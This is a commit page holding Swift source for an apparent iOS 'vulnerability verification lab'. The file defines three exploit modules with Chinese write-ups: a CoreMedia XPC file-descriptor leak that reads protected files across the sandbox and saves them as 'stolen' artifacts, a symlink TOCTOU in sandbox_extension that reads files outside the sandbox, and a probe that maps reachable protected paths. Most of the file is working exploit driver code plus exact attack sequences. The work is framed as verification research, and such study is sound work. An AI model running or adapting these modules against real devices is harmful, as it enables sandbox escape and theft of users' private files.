Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source
This commit is contained in:
jbjf6666 committed
commit
1ea76ab005
89 files changed
+16485
No files matched your search
@@ -0,0 +1,284 @@
|
||||
import Foundation
|
||||
import UIKit
|
||||
import ImageIO
|
||||
|
||||
extension Catalog {
|
||||
|
||||
/// The two primitives added after the first pass. Both are cross-sandbox: they are the
|
||||
/// only entries in the whole set that hand back bytes the app could never `open()`.
|
||||
static let crossSandbox: [ExploitModule] = [
|
||||
|
||||
ExploitModule(
|
||||
id: "cm.fdleak",
|
||||
titleZh: "CoreMedia bytestream XPC 跨沙盒文件描述符获取",
|
||||
cve: "CVE-2026-112706",
|
||||
component: "CoreMedia · mediaplaybackd.bytestream.xpc",
|
||||
primitive: .infoLeak,
|
||||
reach: .systemProcess,
|
||||
tier: 1,
|
||||
summaryZh: """
|
||||
launchd 服务 com.apple.coremedia.mediaplaybackd.bytestream.xpc 对任何沙盒第三方应用可达，不校验 entitlement，也不触发权限提示。其 FigXPC 内存源握手（.rp1 → .rp2 → .org）对无特权客户端返回状态 0；随后的 'Curl' 创建消息在 CreationURL 里携带由客户端指定的绝对 file:// 路径，守护进程以自身凭据打开该路径，既不校验它是否位于请求方的沙盒容器内，也不校验该路径对请求方是否可读。回复的 ByteStreamDetails 字典携带一个活的 FileDescriptor。应用 dup 该描述符后用 pread 读取 —— 描述符级 I/O 不受客户端沙盒的路径检查约束，因此应用自身 open() 返回 EPERM 的文件，其完整内容会落入应用容器。
|
||||
""",
|
||||
notesZh: """
|
||||
同一原语附带三项能力：对受保护目录 'Curl' 返回目录描述符，fdopendir/readdir 可枚举其内容；真实但被拒的路径返回 -12203，不存在的路径返回 -17913，构成存在性预言机。iOS 27.0 封堵了 read / fdsc / getL 三个辅助 opcode（-16158），但 Curl 创建回复内的主描述符发放路径保持完整 —— 27.0 与 27.0.1 均已端到端验证。可读域经 27 个目标双向映射，仅 /private/var/mobile/Media/iTunes_Control/iTunes/ 可开；照片、信息、通讯录、TCC 数据库、钥匙串、Safari、健康、钱包及其它应用容器一律 -12203。写入路径两版均被拒（-12878），故该原语为读 / 枚举 / 预言机，不含写。
|
||||
""",
|
||||
run: { ctx in
|
||||
ctx.arm("cm.fdleak", "handshake + vend")
|
||||
var lines: [String] = []
|
||||
|
||||
guard let session = FdLeak.Session() else {
|
||||
ctx.fail("cm.fdleak", tl("无法建立会话"))
|
||||
throw LabError(message: tl("CoreMedia 符号解析失败，或 XPC 连接无法创建"))
|
||||
}
|
||||
defer { session.shutdown() }
|
||||
|
||||
lines.append(contentsOf: session.handshakeLog)
|
||||
lines.append(tl("握手建立: ") + "\(session.established)")
|
||||
|
||||
if !session.established {
|
||||
// Two very different situations look identical from here, so separate
|
||||
// them: no reply at all means nothing is listening (simulator, or the
|
||||
// service was removed); a reply that is not a dictionary means the
|
||||
// daemon answered and refused.
|
||||
let answered = session.replyTypes.contains { $0 == "dictionary" }
|
||||
let silent = session.replyTypes.allSatisfy { $0 == "timeout" || $0 == "nil" }
|
||||
lines.append("")
|
||||
lines.append(tl("— 判定 —"))
|
||||
lines.append(tl("连接对象已创建: ") + "\(session.connectionCreated)")
|
||||
lines.append(tl("回复类型: ") + "\(session.replyTypes.joined(separator: ", "))")
|
||||
let simulator: Bool = {
|
||||
#if targetEnvironment(simulator)
|
||||
return true
|
||||
#else
|
||||
return false
|
||||
#endif
|
||||
}()
|
||||
if silent && simulator {
|
||||
lines.append(tl("当前为模拟器：模拟器内不运行 mediaplaybackd，该 Mach 服务无人监听，"))
|
||||
lines.append(tl("因此握手收不到任何回复。真机上该服务常驻，握手应返回字典。"))
|
||||
} else if silent {
|
||||
lines.append(tl("服务无人监听 —— 该构建可能已移除或重命名该 Mach 服务。"))
|
||||
} else if !answered {
|
||||
lines.append(tl("服务有回复但非字典 —— 握手被拒绝。"))
|
||||
}
|
||||
ctx.disarm("cm.fdleak", "handshake failed")
|
||||
return ModuleOutcome(headline: silent ? tl("服务无人监听（本平台不适用）") : tl("握手被拒绝"),
|
||||
detail: lines.joined(separator: "\n"))
|
||||
}
|
||||
|
||||
// control: the app's own open() on the same path must fail
|
||||
lines.append("")
|
||||
lines.append(tl("— 对照 —"))
|
||||
lines.append(session.directOpenControl(FdLeak.readableDomain))
|
||||
|
||||
// existence oracle
|
||||
lines.append("")
|
||||
lines.append(tl("— 存在性预言机 —"))
|
||||
for path in [FdLeak.readableDomain,
|
||||
FdLeak.readableDomain + "/cinder27_no_such_file"] {
|
||||
let e = session.probeExistence(path)
|
||||
let verdict = e.code == 0 ? tl("可开") :
|
||||
(e.code == FdLeak.errAccessDenied ? tl("存在但被拒 (-12203)") :
|
||||
(e.code == FdLeak.errNoSuchFile ? tl("不存在 (-17913)") : tl("错误码 ") + "\(e.code)"))
|
||||
lines.append("\(verdict) \(path)")
|
||||
}
|
||||
|
||||
// directory enumeration
|
||||
lines.append("")
|
||||
lines.append(tl("— 目录枚举 —"))
|
||||
let listing = session.list(FdLeak.readableDomain)
|
||||
lines.append(tl("条目 ") + "\(listing.entries.count)" + tl(" 个（mode ") + "\(String(listing.vend.mode, radix: 8))" + tl("）"))
|
||||
for name in listing.entries.prefix(20) {
|
||||
lines.append(" · \(name)")
|
||||
}
|
||||
|
||||
// file theft
|
||||
lines.append("")
|
||||
lines.append(tl("— 读取 —"))
|
||||
var stolen: [URL] = []
|
||||
var totalBytes = 0
|
||||
for (label, path) in FdLeak.knownTargets {
|
||||
let (data, vend) = session.read(path)
|
||||
if let data = data {
|
||||
totalBytes += data.count
|
||||
let url = ctx.write("stolen_\(label)", data)
|
||||
stolen.append(url)
|
||||
let head = data.prefix(16).map { String(format: "%02x", $0) }.joined()
|
||||
lines.append("✓ \(label) \(data.count) B uid=\(vend.uid) head=\(head)")
|
||||
} else {
|
||||
lines.append("✗ \(label) \(vend.note)")
|
||||
}
|
||||
}
|
||||
|
||||
ctx.disarm("cm.fdleak", "bytes=\(totalBytes)")
|
||||
return ModuleOutcome(
|
||||
headline: totalBytes > 0 ? tl("跨沙盒读取 ") + "\(totalBytes)" + tl(" 字节") : tl("未取到数据"),
|
||||
detail: lines.joined(separator: "\n"),
|
||||
evidence: [
|
||||
tl("对照: 应用自身 open() 被 EPERM 拒绝"),
|
||||
tl("守护进程以自身凭据打开客户端指定的路径"),
|
||||
tl("可读域: ") + "\(FdLeak.readableDomain)",
|
||||
tl("iOS 27.2 起修复"),
|
||||
],
|
||||
artifacts: stolen)
|
||||
}),
|
||||
|
||||
ExploitModule(
|
||||
id: "sbx.toctou",
|
||||
titleZh: "sandbox_extension 符号链接 TOCTOU 越界读",
|
||||
cve: "",
|
||||
component: "libsystem_sandbox · sandbox_extension_issue_file",
|
||||
primitive: .oobRead,
|
||||
reach: .inProcess,
|
||||
tier: 1,
|
||||
summaryZh: """
|
||||
sandbox_extension_issue_file 在签发时解析符号链接，但不强制 SANDBOX_EXTENSION_NOFOLLOW。签发返回的令牌因此绑定的是签发时刻解析出的目标，而内核对消费时刻所用路径是否为令牌签发路径不做复核。构造顺序为：沙盒内建立符号链接 L 指向沙盒内文件 S；对 L 签发扩展（内核记录 S）；将 L 重指向沙盒外目标 T；消费令牌后经 L 读取。内核放行的是 S 所属的类别，而实际打开的是 T 的路径。
|
||||
""",
|
||||
notesZh: """
|
||||
该序列确定性成立，不需要竞态窗口 —— 链接切换发生在应用自身控制的两次系统调用之间，而非与内核并发。Apple 的立场是应用无法为不属于自己的路径签发扩展；这一前提成立，但与本问题无关：扩展是为应用确实拥有的路径签发的，随后该路径被改为指向别处。Apple 未将此视为安全问题，因此没有 CVE 编号，此处也不杜撰。可靠目标是 /etc 下的若干文件 —— 它们在 vnode 层可读，仅被沙盒配置文件拒绝，正是该原语跨越的缺口。
|
||||
""",
|
||||
run: { ctx in
|
||||
ctx.arm("sbx.toctou", "swap read")
|
||||
var lines: [String] = []
|
||||
|
||||
guard SandboxExtension.available else {
|
||||
ctx.fail("sbx.toctou", tl("符号不可用"))
|
||||
throw LabError(message: tl("sandbox_extension_issue_file / consume 无法解析"))
|
||||
}
|
||||
|
||||
let link = ctx.workdir.appendingPathComponent("cinder27_link")
|
||||
let decoy = ctx.workdir.appendingPathComponent("cinder27_decoy")
|
||||
|
||||
var bypassed = 0
|
||||
var noSandbox = 0
|
||||
var blocked = 0
|
||||
var totalBytes = 0
|
||||
var artifacts: [URL] = []
|
||||
|
||||
for (target, label) in SandboxExtension.knownTargets {
|
||||
let r = SandboxExtension.readThroughSwap(target: target, link: link, decoy: decoy)
|
||||
switch r.verdict {
|
||||
case .bypassed:
|
||||
bypassed += 1
|
||||
totalBytes += r.bytes
|
||||
if let data = r.data {
|
||||
let name = target.replacingOccurrences(of: "/", with: "_")
|
||||
artifacts.append(ctx.write("symlink_\(name)", data))
|
||||
}
|
||||
lines.append("✓ \(target) \(r.bytes) B — \(label)")
|
||||
lines.append(tl(" 直接读 errno=") + "\(r.directErrno)" + tl("，经链接读到内容"))
|
||||
lines.append(" \(r.preview)")
|
||||
case .noSandbox:
|
||||
noSandbox += 1
|
||||
lines.append(tl("· ") + "\(target)" + tl(" 直接读也成功 ") + "\(r.directBytes)" + tl(" B — 该平台未施加沙盒"))
|
||||
case .blocked:
|
||||
blocked += 1
|
||||
lines.append(tl("✗ ") + "\(target)" + tl(" 直接读 errno=") + "\(r.directErrno)" + tl("，经链接亦失败"))
|
||||
case .empty:
|
||||
lines.append(tl("· ") + "\(target)" + tl(" 未读到内容 — ") + "\(r.note)")
|
||||
}
|
||||
}
|
||||
|
||||
let simulator: Bool = {
|
||||
#if targetEnvironment(simulator)
|
||||
return true
|
||||
#else
|
||||
return false
|
||||
#endif
|
||||
}()
|
||||
|
||||
lines.append("")
|
||||
lines.append(tl("— 判定 —"))
|
||||
lines.append(tl("跨越边界 ") + "\(bypassed)" + tl(" · 无沙盒 ") + "\(noSandbox)" + tl(" · 受阻 ") + "\(blocked)")
|
||||
if simulator && bypassed == 0 {
|
||||
lines.append(tl("当前为模拟器：模拟器不对应用施加沙盒，直接读与经链接读都会成功，"))
|
||||
lines.append(tl("因此该原语在此平台上无法给出证据。真机上直接读应返回 EPERM，"))
|
||||
lines.append(tl("届时「直接读被拒 + 经链接读成功」即为越界成立的判定。"))
|
||||
}
|
||||
|
||||
ctx.disarm("sbx.toctou", "bypassed=\(bypassed) nosandbox=\(noSandbox) blocked=\(blocked)")
|
||||
|
||||
let headline: String
|
||||
if bypassed > 0 {
|
||||
headline = tl("越过沙盒读取 ") + "\(bypassed)" + tl(" 个文件，共 ") + "\(totalBytes)" + tl(" 字节")
|
||||
} else if noSandbox > 0 {
|
||||
headline = tl("该平台未施加沙盒 — 无证据")
|
||||
} else {
|
||||
headline = tl("该构建上未越界")
|
||||
}
|
||||
|
||||
return ModuleOutcome(
|
||||
headline: headline,
|
||||
detail: lines.joined(separator: "\n"),
|
||||
evidence: [
|
||||
tl("签发时解析链接目标，消费时不复核路径"),
|
||||
tl("无需竞态窗口"),
|
||||
tl("Apple 未将其视为安全问题，无 CVE"),
|
||||
tl("判定依据：直接读被拒 且 经链接读成功"),
|
||||
],
|
||||
artifacts: artifacts)
|
||||
}),
|
||||
|
||||
ExploitModule(
|
||||
id: "cm.fdleak.boundary",
|
||||
titleZh: "跨沙盒可读域边界测绘",
|
||||
cve: "CVE-2026-112706",
|
||||
component: "CoreMedia · mediaplaybackd.bytestream.xpc",
|
||||
primitive: .probe,
|
||||
reach: .systemProcess,
|
||||
tier: 2,
|
||||
summaryZh: """
|
||||
对 15 个高价值目标逐一施加 'Curl' 探测，记录守护进程返回的服务端错误码，据此确定该原语的实际可读域。区分三种结果：可开、存在但被拒（-12203）、不存在（-17913）。这一轮的价值在于把负结果留在记录上 —— 一个被拒绝的目标与一个未被测试的目标，在结论上完全不同。
|
||||
""",
|
||||
notesZh: """
|
||||
源研究在 26.5 与 27.0 上共探测 27 个目标，结论一致：仅 iTunes 媒体库目录可开。照片库、信息、通讯录、TCC、钥匙串、Safari、健康、钱包、其它应用容器与共享 App Group 全部拒绝。此模块复现该测绘，使边界成为本机上的实测数据而非引用。
|
||||
""",
|
||||
run: { ctx in
|
||||
ctx.arm("cm.fdleak.boundary", "probe 15 targets")
|
||||
guard let session = FdLeak.Session() else {
|
||||
ctx.fail("cm.fdleak.boundary", tl("符号解析失败"))
|
||||
return ModuleOutcome(headline: tl("CoreMedia 符号不可用"),
|
||||
detail: tl("无法 dlopen CoreMedia 或解析 FigXPC 入口"))
|
||||
}
|
||||
defer { session.shutdown() }
|
||||
|
||||
guard session.established else {
|
||||
// No daemon on this platform (simulator) or the service was removed.
|
||||
let silent = session.replyTypes.allSatisfy { $0 == "timeout" || $0 == "nil" }
|
||||
ctx.disarm("cm.fdleak.boundary", "no session")
|
||||
var lines = session.handshakeLog
|
||||
lines.append("")
|
||||
lines.append(tl("回复类型: ") + "\(session.replyTypes.joined(separator: ", "))")
|
||||
lines.append(silent
|
||||
? tl("该 Mach 服务无人监听 —— 本平台不适用（模拟器内不运行 mediaplaybackd）。真机上该服务常驻。")
|
||||
: tl("服务有回复但握手被拒绝。"))
|
||||
return ModuleOutcome(headline: silent ? tl("服务无人监听（本平台不适用）") : tl("握手被拒绝"),
|
||||
detail: lines.joined(separator: "\n"))
|
||||
}
|
||||
|
||||
var lines: [String] = []
|
||||
var reachable = 0, denied = 0, absent = 0
|
||||
for path in FdLeak.boundaryProbes {
|
||||
let e = session.probeExistence(path)
|
||||
switch e.code {
|
||||
case 0:
|
||||
reachable += 1
|
||||
lines.append(tl("可开 ") + "\(path)")
|
||||
case FdLeak.errAccessDenied:
|
||||
denied += 1
|
||||
lines.append(tl("存在·被拒 ") + "\(path)")
|
||||
case FdLeak.errNoSuchFile:
|
||||
absent += 1
|
||||
lines.append(tl("不存在 ") + "\(path)")
|
||||
default:
|
||||
lines.append(tl("码 ") + "\(e.code)" + tl(" ") + "\(path)")
|
||||
}
|
||||
}
|
||||
ctx.disarm("cm.fdleak.boundary", "r=\(reachable) d=\(denied) a=\(absent)")
|
||||
return ModuleOutcome(
|
||||
headline: "\(reachable)" + tl(" 可开 · ") + "\(denied)" + tl(" 存在但被拒 · ") + "\(absent)" + tl(" 不存在"),
|
||||
detail: lines.joined(separator: "\n"),
|
||||
evidence: [tl("-12203 = 存在但被拒"), tl("-17913 = 不存在")])
|
||||
}),
|
||||
]
|
||||
}
|
||||
Reference in new issue
Block a user